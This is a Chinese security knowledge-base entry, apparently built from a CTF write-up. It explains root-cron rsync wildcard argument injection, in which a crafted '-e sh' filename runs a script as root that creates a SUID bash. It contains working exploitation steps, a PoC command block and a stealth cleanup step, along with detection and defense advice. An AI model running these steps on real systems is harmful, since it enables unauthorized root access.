♧ Godown 安全知识树

root cron 的 rsync 通配符参数注入:伪造 `-e sh` 文件名以 root 执行脚本

pentest/privilege-escalation · verified

一句话结论

当 root 的 cron 任务在普通用户可写目录执行 rsync -t *.txt user@host:/path/ 时,攻击者可创建一个以 -e 开头的文件名(如 -e sh shell.sh .txt);shell 通配符展开后 rsync 会把该文件名重新解析为 -e sh 选项,进而以 root 执行攻击者控制的 shell.sh,复制 bash 并设置 SUID,最终用 ./rootbash -p 取得 root shell。

原理

  • cron 以 root 执行:/etc/cron.d/ctf_backup_job 中 * * * * * root /bin/sh -c "cd /home/ctf && rsync -t *.txt 0xGame:/tmp/backup/" 每分钟以 root 身份运行;cd 进入的 /home/ctf 是普通用户可写目录。
  • 通配符展开发生在 shell 层:/bin/sh -c 先对 *.txt 做 glob 展开,把目录下所有匹配文件作为独立参数传给 rsync。攻击者创建的文件名不必是合法路径,只要以 .txt 结尾即可参与展开。
  • rsync 的参数解析:rsync 支持 -e COMMAND / --rsh=COMMAND 指定远程 shell。getopt 会对参数做排列(permutation),因此位于参数列表中间、以 -e 开头的文件名仍会被当作选项;-e 后面的 sh 成为远程 shell 命令,shell.sh 成为其参数。rsync 在建立远程连接时会调用该命令,即使最终连接失败,脚本也已经以 root 执行。
  • 文件名的构造:Linux 文件名不能包含 /,但可以包含空格和连字符。用 touch -- '-e sh shell.sh .txt' 创建:-- 终止 touch 自身对 -e 的解析,文件名中的多个空格用于把 -e、sh、shell.sh 分开。
  • 提权落地:shell.sh 内容是 cp /bin/bash /home/ctf/rootbash; chmod u+s /home/ctf/rootbash。cron 以 root 运行后生成 root 所有、带 SUID 的 bash;直接执行会被 bash 的 SUID 降权保护,需 ./rootbash -p 保留有效 UID,得到 euid=0。

触发条件

  • root 的 cron/systemd timer 等定时任务调用 rsync,且源路径使用 * 等通配符,工作目录对低权限用户可写。
  • cron 行未使用 -- 终止选项解析,也未使用 --protect-args 等把文件名与选项隔离的机制。
  • 攻击者能在该目录创建以 - 开头、以匹配后缀结尾的文件,并能写入将被 root 执行的脚本。
  • 目标系统允许普通用户执行 touch/chmod 等基础命令(或可用 printf/echo 写入脚本)。

利用步骤

  1. 枚举定时任务:ls -la /etc/cron.d、cat /etc/cron.d/*、crontab -l、systemctl list-timers,寻找 root 执行且含 rsync/通配符的行。
  2. 确认工作目录可写、*.txt 能被自己创建的文件命中;确认 rsync 版本支持 -e。
  3. 写入提权脚本:echo -e '#!/bin/bash\ncp /bin/bash /home/ctf/rootbash\nchmod u+s /home/ctf/rootbash' > shell.sh。
  4. 创建注入文件名:touch -- '-e sh shell.sh .txt'。
  5. 等待 cron 触发(本例每分钟一次)。观察 ls -la 出现 -rwsr-xr-x root root rootbash。
  6. 执行 ./rootbash -p,用 id 确认 euid=0,再读取 /root/flag.txt。
  7. 清理:删除注入文件名、shell.sh 与 rootbash(若需隐蔽)。

PoC

# 1. 发现 root cron(示例)
ls -la /etc/cron.d
cat /etc/cron.d/ctf_backup_job
# * * * * * root /bin/sh -c "cd /home/ctf && rsync -t *.txt 0xGame:/tmp/backup/"

# 2. 准备以 root 执行的脚本
echo -e '#!/bin/bash\ncp /bin/bash /home/ctf/rootbash\nchmod u+s /home/ctf/rootbash' > shell.sh

# 3. 构造参数注入文件名;-- 终止 touch 自身选项解析
touch -- '-e sh shell.sh    .txt'

# 4. 等待 cron 执行后检查 SUID bash
ls -la /home/ctf/rootbash
./rootbash -p
id          # uid=1000(ctf) euid=0(root)
cat /root/flag.txt

说明:PoC 为原文步骤的结构化复现,未在本机执行;原文在靶机上通过该流程获得 euid=0 并读取 /root/flag.txt。

变体与关联

  • 变体(工具):tar 的 --checkpoint-action=exec 通配符注入、chown/chmod 的 --reference 参数注入、find -exec 等;核心都是“文件名被当作选项”。
  • 变体(注入点):rsync 的 -e/--rsh、--rsync-path、--files-from 等接受命令或路径的选项;也可结合 --exclude 等影响行为。
  • 变体(持久化):把脚本改为写 /etc/sudoers.d/、加入 root 组、或直接以 root 反弹 shell。
  • 关联:[[pentest-privilege-escalation-cron-tar-wildcard-checkpoint-injection]](tar 通配符注入);[[pentest-privilege-escalation-cron-path-hijack]](cron PATH 劫持);[[pentest-privilege-escalation-cron-writable-script]](可写脚本);[[pentest-privilege-escalation-suid-gtfobins-shell-escape]](SUID bash 利用)。
  • 边界:cron 行使用绝对路径且无通配符、以 -- 结束选项、或目录不可写时,该链不成立;rsync 对 --protect-args/-s 的使用也会改变参数传递方式。

检测与防御

  • 检测:cron 中出现 rsync ... * 且工作目录可写;目录中出现以 - 开头、含空格、以正常后缀结尾的异常文件名;短时间内新增 SUID 文件(尤其 SUID bash);/etc/cron.d 内容被非 root 读取/利用的痕迹。
  • 防御:cron 中避免通配符,改用明确文件列表或 find ... -print0;在通配符前加 -- 终止选项解析;使用 --protect-args;把备份目录设为 root 专用、普通用户不可写;监控 SUID 文件创建;以最小权限账户运行备份任务。